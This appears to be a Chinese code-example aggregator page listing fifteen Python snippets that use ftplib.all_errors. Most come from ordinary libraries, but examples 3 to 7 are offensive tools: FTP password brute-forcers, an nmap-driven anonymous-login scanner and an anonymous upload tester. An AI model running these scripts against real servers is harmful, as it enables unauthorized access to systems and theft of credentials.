当前位置: 首页>>代码示例>>Python>>正文


Python ftplib.all_errors方法代码示例

本文整理汇总了Python中ftplib.all_errors方法的典型用法代码示例。如果您正苦于以下问题:Python ftplib.all_errors方法的具体用法?Python ftplib.all_errors怎么用?Python ftplib.all_errors使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在ftplib的用法示例。


在下文中一共展示了ftplib.all_errors方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: retrfile

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def retrfile(self, file, type):
        import ftplib
        self.endtransfer()
        if type in ('d', 'D'): cmd = 'TYPE A'; isdir = 1
        else: cmd = 'TYPE ' + type; isdir = 0
        try:
            self.ftp.voidcmd(cmd)
        except ftplib.all_errors:
            self.init()
            self.ftp.voidcmd(cmd)
        conn = None
        if file and not isdir:
            # Try to retrieve as a file
            try:
                cmd = 'RETR ' + file
                conn = self.ftp.ntransfercmd(cmd)
            except ftplib.error_perm, reason:
                if str(reason)[:3] != '550':
                    raise IOError, ('ftp error', reason), sys.exc_info()[2] 
开发者ID:glmcdona,项目名称:meddle,代码行数:21,代码来源:urllib.py

示例2: retrfile

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def retrfile(self, file, type):
        import ftplib
        self.endtransfer()
        if type in ('d', 'D'): cmd = 'TYPE A'; isdir = 1
        else: cmd = 'TYPE ' + type; isdir = 0
        try:
            self.ftp.voidcmd(cmd)
        except ftplib.all_errors:
            self.init()
            self.ftp.voidcmd(cmd)
        conn = None
        if file and not isdir:
            # Try to retrieve as a file
            try:
                cmd = 'RETR ' + file
                conn, retrlen = self.ftp.ntransfercmd(cmd)
            except ftplib.error_perm, reason:
                if str(reason)[:3] != '550':
                    raise IOError, ('ftp error', reason), sys.exc_info()[2] 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:21,代码来源:urllib.py

示例3: ftpBrute0x00

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def ftpBrute0x00(ip, usernames, passwords, port, delay):

    ftp = FTP()
    for username in usernames:
        for password in passwords:
            try:
                ftp.connect(ip, port)
                ftp.login(username, password)
                print(G + ' [+] Username: %s | Password found: %s\n' % (username, password))
                ftp.quit()
                exit(0)
            except ftplib.error_perm:
                print(GR+ " [*] Checking : "+C+"Username: %s | "+B+"Password: %s "+R+"| Incorrect!\n" % (username, password))
                sleep(delay)
            except ftplib.all_errors as e:
                print(R+" [-] Error caught! Name: "+str(e))
            except KeyboardInterrupt:
                ftp.quit() 
开发者ID:VainlyStrain,项目名称:Vaile,代码行数:20,代码来源:ftpbrute.py

示例4: workhorse

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def workhorse(ipaddr, user, word):
	user = user.replace("\n","")
	word = word.replace("\n","")
	try:
		print "-"*12
		print "User:",user,"Password:",word
		ftp = FTP(ipaddr)
		ftp.login(user, word)
		ftp.retrlines('LIST')
		print "\t\n[!] Login successful:",user, word
		if txt != None:
			save_file.writelines(user+" : "+word+" @ "+ipaddr+":21\n")
		ftp.quit()
		sys.exit(2)
	except (ftplib.all_errors), msg: 
		#print "[-] An error occurred:", msg
		pass 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:19,代码来源:ftpbrute_random.py

示例5: brute

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def brute(ipaddr):
	print "-"*30
	print "\n[+] Attempting BruteForce:",ipaddr,"\n"
	try:
		f = FTP(ipaddr)
		print "[+] Response:",f.getwelcome()
	except (ftplib.all_errors):
		pass
	try:
		print "\n[+] Checking for anonymous login:",ipaddr,"\n"
		ftp = FTP(ipaddr)
		ftp.login()
		ftp.retrlines('LIST')
		print "\t\n[!] Anonymous login successful!!!\n"
		if txt != None:
			save_file.writelines("Anonymous:"+ipaddr+":21\n")
		ftp.quit()
	except (ftplib.all_errors): 
		print "[-] Anonymous login unsuccessful\n"
	for user in users:
		for word in words:
			work = threading.Thread(target = workhorse, args=(ipaddr, user, word)).start()
			time.sleep(1) 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:25,代码来源:ftpbrute_random.py

示例6: scan

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def scan():

	iprange = args[0]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	print "Found",len(ip_list),"hosts with ftp port open.\n"
		   

	for ip in ip_list:
		try:
			print "Checking for anonymous login on",ip
			ftp = FTP(ip)
			ftp.login()
			ftp.retrlines('LIST')
			print "\n\tAnonymous login successful on",ip,"\n"
			ftp.quit()
		except (ftplib.all_errors), msg: print "An error occurred:", msg
		
#................................................ 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:27,代码来源:ftpanon.py

示例7: ftpcheck

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def ftpcheck(ipaddr):
	
	try:
		print "\n[+] Checking anonymous login:",ipaddr
		ftp = ftplib.FTP(ipaddr)
		print "[+] Response:",ftp.getwelcome()
		ftp.login()
		ftp.retrlines('LIST')
		print "\t[!] Anonymous login successful:",ipaddr
		print "[+] Testing Upload"
		ftp.sendcmd('PUT '+file)
		print "[+] Currect Directory:",ftplib.pwd()
		print "\t[!] Upload successful:",ipaddr
		ftp.quit()
	except (ftplib.all_errors), msg: 
		print "[-] An error occurred:",msg,"\n"
	
#................................................ 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:20,代码来源:ftprand.py

示例8: _mkremdirs

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def _mkremdirs(self, path):
        pwd = self._connection.pwd()
        path_splitted = path.split(os.path.sep)
        for path_part in path_splitted:
            try:
                self._connection.cwd(path_part)
            except ftplib.all_errors:
                try:
                    self._connection.mkd(path_part)
                    self._connection.cwd(path_part)
                except ftplib.all_errors:
                    raise FTPStorageException(
                        'Cannot create directory chain %s' % path
                    )
        self._connection.cwd(pwd)
        return 
开发者ID:jschneier,项目名称:django-storages,代码行数:18,代码来源:ftp.py

示例9: _get_dir_details

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def _get_dir_details(self, path):
        # Connection must be open!
        try:
            lines = []
            self._connection.retrlines('LIST ' + path, lines.append)
            dirs = {}
            files = {}
            for line in lines:
                words = line.split()
                if len(words) < 6:
                    continue
                if words[-2] == '->':
                    continue
                if words[0][0] == 'd':
                    dirs[words[-1]] = 0
                elif words[0][0] == '-':
                    files[words[-1]] = int(words[-5])
            return dirs, files
        except ftplib.all_errors:
            raise FTPStorageException('Error getting listing for %s' % path) 
开发者ID:jschneier,项目名称:django-storages,代码行数:22,代码来源:ftp.py

示例10: exists

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def exists(self, name):
        self._start_connection()
        try:
            nlst = self._connection.nlst(
                os.path.dirname(name) + '/'
            )
            if name in nlst or os.path.basename(name) in nlst:
                return True
            else:
                return False
        except ftplib.error_temp:
            return False
        except ftplib.error_perm:
            # error_perm: 550 Can't find file
            return False
        except ftplib.all_errors:
            raise FTPStorageException('Error when testing existence of %s'
                                      % name) 
开发者ID:jschneier,项目名称:django-storages,代码行数:20,代码来源:ftp.py

示例11: ftp_open

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def ftp_open(self, req):
        host = req.get_host()
        if not host:
            raise IOError('ftp error', 'no host given')
        # XXX handle custom username & password
        try:
            host = socket.gethostbyname(host)
        except socket.error(msg):
            raise URLError(msg)
        host, port = splitport(host)
        if port is None:
            port = ftplib.FTP_PORT
        path, attrs = splitattr(req.get_selector())
        path = unquote(path)
        dirs = path.split('/')
        dirs, file = dirs[:-1], dirs[-1]
        if dirs and not dirs[0]:
            dirs = dirs[1:]
        user = passwd = '' # XXX
        try:
            fw = self.connect_ftp(user, passwd, host, port, dirs)
            type = file and 'I' or 'D'
            for attr in attrs:
                attr, value = splitattr(attr)
                if attr.lower() == 'type' and \
                   value in ('a', 'A', 'i', 'I', 'd', 'D'):
                    type = value.upper()
            fp, retrlen = fw.retrfile(file, type)
            headers = ""
            mtype = mimetypes.guess_type(req.get_full_url())[0]
            if mtype:
                headers += "Content-Type: %s\n" % mtype
            if retrlen is not None and retrlen >= 0:
                headers += "Content-Length: %d\n" % retrlen
            sf = StringIO(headers)
            headers = mimetools.Message(sf)
            return addinfourl(fp, headers, req.get_full_url())
        except ftplib.all_errors(msg):
            raise IOError(('ftp error', msg), sys.exc_info()[2]) 
开发者ID:war-and-code,项目名称:jawfish,代码行数:41,代码来源:urllib2.py

示例12: ftperrors

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def ftperrors():
    """Return the set of errors raised by the FTP class."""
    global _ftperrors
    if _ftperrors is None:
        import ftplib
        _ftperrors = ftplib.all_errors
    return _ftperrors 
开发者ID:Soft8Soft,项目名称:verge3d-blender-addon,代码行数:9,代码来源:request.py

示例13: _ftp_remove

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def _ftp_remove(self, path, recursive):
        if recursive:
            self._rm_recursive(self.conn, path)
        else:
            try:
                # try delete file
                self.conn.delete(path)
            except ftplib.all_errors:
                # it is a folder, delete it
                self.conn.rmd(path) 
开发者ID:d6t,项目名称:d6tpipe,代码行数:12,代码来源:ftp.py

示例14: _rm_recursive

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def _rm_recursive(self, ftp, path):
        """
        Recursively delete a directory tree on a remote server.

        Source: https://gist.github.com/artlogic/2632647
        """
        wd = ftp.pwd()

        # check if it is a file first, because some FTP servers don't return
        # correctly on ftp.nlst(file)
        try:
            ftp.cwd(path)
        except ftplib.all_errors:
            # this is a file, we will just delete the file
            ftp.delete(path)
            return

        try:
            names = ftp.nlst()
        except ftplib.all_errors as e:
            # some FTP servers complain when you try and list non-existent paths
            return

        for name in names:
            if os.path.split(name)[1] in ('.', '..'):
                continue

            try:
                ftp.cwd(name)   # if we can cwd to it, it's a folder
                ftp.cwd(wd)   # don't try a nuke a folder we're in
                ftp.cwd(path)  # then go back to where we were
                self._rm_recursive(ftp, name)
            except ftplib.all_errors as e:
                ftp.delete(name)

        try:
            ftp.cwd(wd)  # do not delete the folder that we are in
            ftp.rmd(path)
        except ftplib.all_errors as e:
            print('_rm_recursive: Could not remove {0}: {1}'.format(path, e)) 
开发者ID:d6t,项目名称:d6tpipe,代码行数:42,代码来源:ftp.py

示例15: mktree

# 需要导入模块: import ftplib [as 别名]
# 或者: from ftplib import all_errors [as 别名]
def mktree(self, remote_path):
        """ Browse to the tree on the ftp server, making directories on the way"""
        if str(remote_path) != '.':
            try:
                self.ftp.cwd(str(remote_path))
            except ftplib.all_errors:
                self.cdtree(Path(remote_path.parent))
                self.ftp.mkd(str(remote_path))
                self.ftp.cwd(str(remote_path)) 
开发者ID:int-brain-lab,项目名称:ibllib,代码行数:11,代码来源:patcher.py


注:本文中的ftplib.all_errors方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。